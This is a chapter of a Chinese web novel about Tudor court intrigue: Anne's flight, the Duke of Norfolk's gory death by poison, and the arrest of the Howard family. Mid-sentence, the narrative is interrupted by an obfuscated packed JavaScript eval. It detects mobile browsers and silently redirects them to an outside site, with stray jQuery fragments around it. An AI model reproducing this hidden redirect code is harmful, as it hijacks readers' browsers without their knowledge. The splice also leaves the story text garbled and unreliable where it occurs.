冰冷的夜风像刀子刮在脸上，安妮却感觉不到。她抱着空药盒，在铺满落叶的宫廷小径上狂奔，裙摆被枯枝勾破也浑然不觉。宴会厅里那场滴血认亲的荒诞闹剧、卡尔佩珀绝望的哀嚎、玛丽空洞的眼神、诺福克毫不掩饰的狂喜、还有托马斯·西摩那双淬了毒般盯着她的蓝眼睛……这一切在她脑子里搅成一锅滚烫的、令人作呕的浓浆。


    胡椒狗紧跟在她脚边，喉咙里发出急促的低呜，湿润的鼻子不断拱着她冰凉的手。


    “快！约翰大叔！”安妮冲进马厩，气息不稳地对早已等候在此的老约翰低喊，声音带着她自己都未曾察觉的颤抖。


    老约翰二话不说，立刻解开缰绳。安妮几乎是手脚并用地爬上马车，刚坐稳就急促地吩咐：“回里士满！最快的路！不要停！”


    车轮碾过石板路，骨碌碌的声响在寂静的深夜里格外刺耳。安妮紧紧抱着药盒，仿佛那是唯一的盾牌。她撩开窗帘一角，格林威治宫那灯火辉煌、却如同巨兽蛰伏的轮廓在夜色中迅速后退，像一座正在沉没的、布满尖刺的岛屿。


    “夫人，宫里……”老约翰低沉的声音从车辕传来。


    “霍华德赢了。”安妮的声音干涩，“滴血认亲，血融了。卡尔佩珀被拖去伦敦塔，玛丽殿下……被陛下下令终生禁足祈祷室。”她顿了顿，艰难地补充，“诺福克公爵……气焰正盛。”


    老约翰沉默地挥了一鞭，马匹跑得更快。不需要更多言语，格林威治宫已成炼狱，而刚刚被诺福克视为眼中钉的里士满，此刻就是风暴眼中最危险的靶子。


    * * *


    诺福克公爵托马斯·霍华德枯槁的脸上，那抹因狂喜而扭曲的笑容尚未完全褪去。他坐在自己奢华的书房里，壁炉里的火焰熊熊燃烧，映得他手中的金杯熠熠生辉。杯中盛满了陛下刚刚“赐下”的、最顶级的波尔多陈酿——这是对他“沉冤昭雪”、对“王子”诞生的恩赏，更是对他霍华德家族即将重回权力巅峰的肯定！


    “哼，西摩？玛丽？”诺福克对着摇曳的烛火冷笑，声音嘶哑，“不自量力的东西！想扳倒霍华德？做梦！”他仿佛已经看到自己怀抱那个深棕色头发的“王子”，站在年幼的爱德华身边，成为英格兰真正的摄政王！霍华德的荣耀将在他手中攀上无人能及的高峰！


    他志得意满地举起金杯，杯中美酒如同流动的红宝石。他深吸一口那醇厚的酒香，带着胜利者的陶醉，将杯中物一饮而尽！


    辛辣醇厚的液体滑过喉咙，带来一阵短暂的灼热快意。然而，这快意仅仅维持了不到一息！


    一股难以言喻的、如同烧红铁钎猛地捅进胃里的剧痛，毫无征兆地轰然爆发！诺福克脸上的得意瞬间凝固，化为极度的痛苦和难以置信的惊骇！


    “呃啊——！”他发出一声短促而凄厉的惨叫，金杯“当啷”一声脱手坠落，滚烫的酒液泼洒在昂贵的波斯地毯上。


    剧痛！那根本不是醉酒的感觉！是无数烧红的钢针在他腹内疯狂搅动、穿刺！他枯瘦的身体猛地从椅子上弓起，像一只被扔进沸水的虾米，双手死死抠住自己的腹部，指甲几乎要嵌进皮肉里！


    “嗬……嗬……” 他喉咙里发出破风箱般的嗬嗬声，眼球因剧痛而暴突，布满恐怖的血丝！他想喊人，想呼救，但那股腥甜的铁锈味已经如同决堤的洪水，猛地冲上喉头！


    “噗——！”


    一大口粘稠、暗红发黑、散发着刺鼻腥臭的血液，如同喷泉般从他口中狂喷而出！溅满了书桌上摊开的羊皮地图、溅满了先祖画像冰冷的脸颊、也溅满了地上那滩泼洒的红酒，混合成一片更加诡异、更加惨烈的暗红！


    这仅仅是开始！剧烈的痉挛让他无法控制身体，鲜血混合着胃里的酒液和食物残渣，如同开闸的洪水，不断从口鼻中疯狂涌出！紧接着，眼角、鼻孔、耳孔……也开始渗出暗红的血丝！


    “呃……嗬……” 诺福克像一条离水的鱼，在血泊和呕吐物中疯狂地抽搐、扭动、翻滚。他枯瘦的手指在冰冷的地板上绝望地抓挠，发出令人牙酸的“咯吱”声，留下道道带血的指痕。他那双浑浊的老眼瞪得极大，里面充满了极致的痛苦、巨大的、无法理解的惊骇——是谁？！陛下？西摩？还是……那个他一直没放在眼里的德意志女人？！意识在无边的剧痛和迅速流失的生命力中沉沦、破碎。


    壁炉里的火焰依旧跳动着温暖的光芒，映照着这地狱般的景象。曾经权倾朝野的诺福克公爵，如同一堆被彻底拆散的、沾满污秽的枯骨，蜷缩在自己引以为傲的权力象征之地。他的身体在最后一次剧烈的、仿佛要挣脱灵魂束缚的抽搐后，终于彻底瘫软在冰冷粘稠的血泊中，一动不动了。眼睛依旧瞪得极大，空洞地望着书房彩绘天花板上描绘的家族徽章——那只展翅的雄鹰，凝固着无尽的痛苦、惊骇和……一丝彻底落幕的茫然。


    霍华德家族这艘看似重获荣耀的巨轮，在刚刚驶出港湾的瞬间，就被来自深渊的毒刺彻底凿穿了船底，带着它的掌舵者，急速沉入冰冷黑暗的死亡之海。


    * * *


    几乎在诺福克公爵毒发身亡的同时，格林威治宫几处专供霍华德家族核心成员居住的奢华套房，被沉重的、有节奏的敲门声惊醒。


    “开门！奉国王陛下旨意！”


    门被粗暴地撞开。睡眼惺忪、穿着丝绸睡袍的霍华德男人们，脸上还残留着宴会狂欢后的疲惫和家族翻盘的得意，瞬间被眼前全副武装、眼神冰冷的瑞士卫兵吓得魂飞魄散！


    “你们干什么？！我是霍华德勋爵！陛下刚刚……”


    “拿下！” 冰冷的命令打断任何辩驳。


    如狼似虎的卫兵一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155933|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拥而上，根本不给任何反应时间。挣扎？呵斥？在绝对的力量面前如同螳臂当车。精钢打造的锁链瞬间扣上手腕，沉重的力道几乎勒断骨头。尖叫和怒骂被粗暴地扼杀在喉咙里，只剩下面如土色的绝望和难以置信的惊恐。女眷和孩童的哭喊声在深夜里显得格外凄厉刺耳。


    没有审判，没有罪名宣告。只有冷酷的执行。这些几个小时前还在宴会上觥筹交错、享受着胜利荣光的霍华德核心成员，像一群待宰的牲口，被粗暴地从温暖的被窝里拖出，塞进早已等候在宫门外、没有窗户的封闭马车里。马车立刻启动，车轮碾过石板路，骨碌碌的声音消失在通往伦敦塔方向的沉沉夜幕中。等待他们的，将是比诺福克公爵更漫长的黑暗囚禁，直至被世人遗忘。


    * * *


    凯瑟琳·霍华德华丽的寝宫，此刻像一个巨大的、冰冷的金丝鸟笼。外面隐隐传来的骚动和哭喊声，如同鬼魅的低语，穿透厚重的门扉，钻进她的耳朵。


    她抱着那个深棕色头发、刚刚吃饱睡着的小婴儿，蜷缩在巨大的床榻深处。诺福克舅舅那狰狞得意的笑容、滴血认亲时那碗刺目的暗红、还有陛下最后看向她时那复杂难辨的目光……这一切都让她感到一种不真实的眩晕。她赢了？她和她的孩子，安全了？


    一个贴身侍女脸色惨白如纸，跌跌撞撞地冲了进来，甚至顾不上行礼，声音抖得不成样子：“殿……殿下！不好了！公爵大人……公爵大人他……”


    凯瑟琳的心猛地一沉，一种不祥的预感瞬间攫住了她：“舅舅怎么了？快说！”


    侍女扑通一声跪倒在地，泪如雨下，声音充满了恐惧：“公爵大人……在书房……暴毙了！七窍流血！死状……死状极惨！还有……还有几位勋爵老爷和夫人……被……被陛下的卫兵抓走了！全都抓走了！塞进马车带走了！”


    轰！


    仿佛一道惊雷在凯瑟琳头顶炸开！她怀中的婴儿似乎也感受到了巨大的恐惧，哇的一声啼哭起来。


    诺福克舅舅……死了？霍华德家的人……被抓了？刚刚还在天堂，转瞬就坠入地狱？巨大的恐惧如同冰冷的巨手，死死扼住了她的喉咙！她刚刚获得的“护身符”——怀中的婴儿——此刻仿佛变成了一个滚烫的、随时会爆炸的烙铁！没有了诺福克舅舅，没有了霍华德家族的支持，她这个靠着“神迹”和“意外”保住性命的王后，在这吃人的宫廷里，还能活几天？


    “哇——哇——” 婴儿的啼哭声在空旷死寂的寝宫里回荡，显得格外刺耳和绝望。凯瑟琳浑身冰冷，紧紧抱着啼哭的孩子，像抱着最后一根救命稻草，又像是抱着一个即将把她拖入深渊的恐怖之源。金丝雀的羽毛凌乱不堪，华丽的牢笼在胜利的巅峰瞬间化作了冰窖。刚刚升起的虚假希望，被彻底碾碎，只剩下无边无际的、冰冷刺骨的恐惧。